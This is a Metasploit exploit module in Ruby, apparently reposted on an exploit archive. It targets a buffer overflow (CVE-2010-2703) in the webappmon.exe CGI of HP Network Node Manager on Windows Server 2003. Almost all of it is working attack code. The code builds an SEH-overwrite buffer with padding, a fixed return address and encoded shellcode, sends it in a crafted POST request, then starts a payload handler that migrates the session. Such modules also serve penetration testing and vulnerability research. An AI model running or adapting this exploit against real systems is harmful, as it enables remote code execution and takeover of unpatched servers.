HP NNM CGI webappmon.exe execvp Buffer Overflow

##
# $Id: hp_nnm_webappmon_execvp.rb 12086 2011-03-23 03:38:46Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::Seh
 
    def initialize(info={})
        super(update_info(info,
            'Name'        => "HP NNM CGI webappmon.exe execvp Buffer Overflow",
            'Description' => %q{
                This module exploits a buffer overflow in HP NNM's webappmon.exe.
                The vulnerability occurs when function "execvp_nc" fails to do any bounds-
                checking before strcat is used to append user-supplied input to a buffer.
            },
            'License'     => MSF_LICENSE,
            'Version'     => "$Revision: 12086 $",
            'Author'      =>
                [
                    'shahin <shahin[at]abysssec.com>',
                    'sinn3r',
                ],
            'References' =>
                [
                    ['CVE', '2010-2703'],
                    ['OSVDB', '66514'],
                ],
            'Payload'    =>
                {
                    'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
                    'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
                    'EncoderOptions' => {'BufferRegister'=>'ECX'},
                },
            'DefaultOptions' =>
                {
                    'ExitFunction' => "seh",
                    'AutoRunScript' => 'migrate -f',
                },
            'Platform' => 'win',
            'Targets'    =>
                [
                    [ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ],
                ],
            'DisclosureDate' => "SEP 6 2010"))
 
            register_options(
                [
                    Opt::RPORT(80),
                ], self.class)
    end
 
    def exploit
        nops = make_nops(1000)*10
 
        sploit = nops[0, 5455]
        sploit << generate_seh_record(target.ret)
        sploit << "\x61"*13
        sploit << "\x51"
        sploit << "\xc3"
        sploit << nops[0, 57]
        sploit << payload.encoded
        sploit << nops[0, 10000-sploit.length]
 
        post_data = "ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1"
 
        connect
 
        print_status("Sending malicious request...")
        send_request_raw({
            'uri' => '/OvCgi/webappmon.exe',
            'data' => post_data,
            'version' => '1.1',
            'method' => 'POST',
            'headers' => {
                'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language' => 'en-us,en;q=0.5',
                'Accept-Encoding' => 'gzip,deflate',
                'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
                'Keep-Alive' => '300',
                'Connection' => 'Keep-Alive',
                'Cache-Control' => 'max-age=0',
                'Content-Length' => post_data.length,
                'Content-Type' => 'application/x-www-form-urlencoded',
            }
        }, 3)
 
        handler
        disconnect
 
    end
end



#  0day.today [2018-01-05]  #